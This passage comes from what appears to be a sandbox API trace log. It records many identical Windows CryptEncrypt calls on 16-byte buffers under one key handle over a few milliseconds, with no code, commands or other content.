pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.409] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.410] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.411] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.412] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.413] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.414] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 